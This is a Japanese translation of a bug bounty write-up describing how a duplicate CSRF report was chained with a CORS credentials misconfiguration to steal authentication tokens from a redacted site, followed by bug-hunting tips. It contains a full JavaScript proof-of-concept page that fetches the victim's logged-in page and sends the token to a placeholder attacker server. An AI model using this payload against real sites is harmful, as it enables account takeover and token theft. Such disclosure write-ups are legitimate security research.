ソース：
脆弱性：CORS
訳：
このターゲットでテストを行ったところ、ドメイン内にアプリケーション全体の CSRF があることがわかりました。
さて、bugcrowd によると、この脆弱性だけでも重大度は P2 です。
しかし、いつものように報告すると、重複してしまいました。
しかし、それでも脆弱性は存在していたので、このバグを他のバグと連鎖させれば、何か興味深いことが見つかるかもしれないと考えました。
テストを開始するときに最も頻繁に行うことの 1 つは、資格情報を入力して [ログイン] をクリックし、burp プロキシをオンにするときと、ログイン機能が完了してランディング ページがブラウザに完全に読み込まれるときです。
しばらくプロキシをオフにして、burp 履歴を見てみましょう。
私のこの方法論により、アプリケーションがどのようなリクエストを送信し、ログイン時に（ログインするだけで）応答が受信されるかをよく理解できます。
それで、私が言ったように、burp 履歴タブをじっと見ていました。 返されるすべての応答を調べていました。
私の注意を引いたのは、HTML レスポンスでした。
「stage.redacted.com/」のようなメイン ドメインの HTML に認証トークンとすべてのセッション関連データが含まれていることがわかりました。
CSRF がなかったので、このデータ (特に認証トークン) を何らかの方法で取得できれば、任意のユーザーのアカウントを完全に乗っ取ることができることを確認しました。 しかし、CSRF は通常、被害者に何らかのアクションを実行させるために悪用されます。
しかし、この認証トークンは、ユーザーがログインした後に HTML が読み込まれるときに被害者のブラウザに表示されるだけでした。
実際には、被害者のページで変更できるものは何もありませんでした。
したがって、現在私はツールとしてCSRFを手元に持っており、私の問題はユーザーのブラウザからデータを取得してサーバーに送信することです。
CSRF を使用すると、ユーザーに代わってリクエストを行うことしかできませんでしたが、これも被害者がログインしている PC でのみ機能します。
ここで Missing CORS が助けになりました。
応答ヘッダーに 「 Access-Control-Allow-Credential: True 」があることに気付きました。
現在、CSRF と Missing CORS がツールとして手元にあります。
悪意のあるページを作成して被害者に送信したらどうなるだろうかと考えました。
この悪意のあるページには 2 つのコールバック AJAX リクエストが含まれます。 その 最初のリクエストはhttps://stage.redacted .com/ に get リクエストを発行します。
レスポンスには認証トークンを含む HTML が含まれます。
2 番目のリクエストはその HTML レスポンスをサーバー URL に追加し、リクエストを私のサーバに送ります。
ログを使用すると、HTML データ、つまり認証トークンを取得できます。
<!DOCTYPE html>
<html>
<body onload = “loadDoc(‘https://www.redacted.com', myFunction)”>
<div id=”demo”>
<h2>Your account is taken over by <b><i>Jordin</i></b></h2><script>
function loadDoc(url, cFunction) {
var xhttp;
xhttp=new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
cFunction(this);
}
};
xhttp.open(“GET”, url, true);
xhttp.withCredentials = true;
xhttp.send();
}
function myFunction(xhttp) {
// document.getElementById(“demo”).innerHTML =
// xhttp.responseText;
var xhttp1;
xhttp1=new XMLHttpRequest();
xhttp1.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
1
}
};
var content = xhttp.responseText;
var n = content.indexOf(“authentication_token”)
//Change the url here to attacker controlled server
url = “https://attacker-server-url.com/" + content.substring(n,);xhttp.open(“GET”, url, true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
必要な認証トークンが送信されていました。
この脆弱性が発生するには、 CSRF と CORS の欠落という 2 つの非常に重要なことが起こります。
これがなければ、別の方法を見つける必要があります。
チップ：
- レポートが重複した場合でも (これは明らかに、企業がまだ問題を解決していないことを意味します)、脆弱性をエスカレートしたり連鎖させたりする可能性は依然として高いです。
- 重大度が低い場合でも、いかなる種類のバグも無視しないでください。連鎖すると重大度の高いバグが発生する可能性があります。
- CSRF を使用してパスワード/電子メールの変更、パスワードのリセットなどのアクションを実行できない場合でも、P1 または P2 に誘導される他の GET ベースのリクエストが存在する可能性があります。 クリエイティブに 。
- バグ/ブログ/書き込みの興味深い悪用を見つけた場合は、このようなコミュニティと共有してください。
ほなほな。
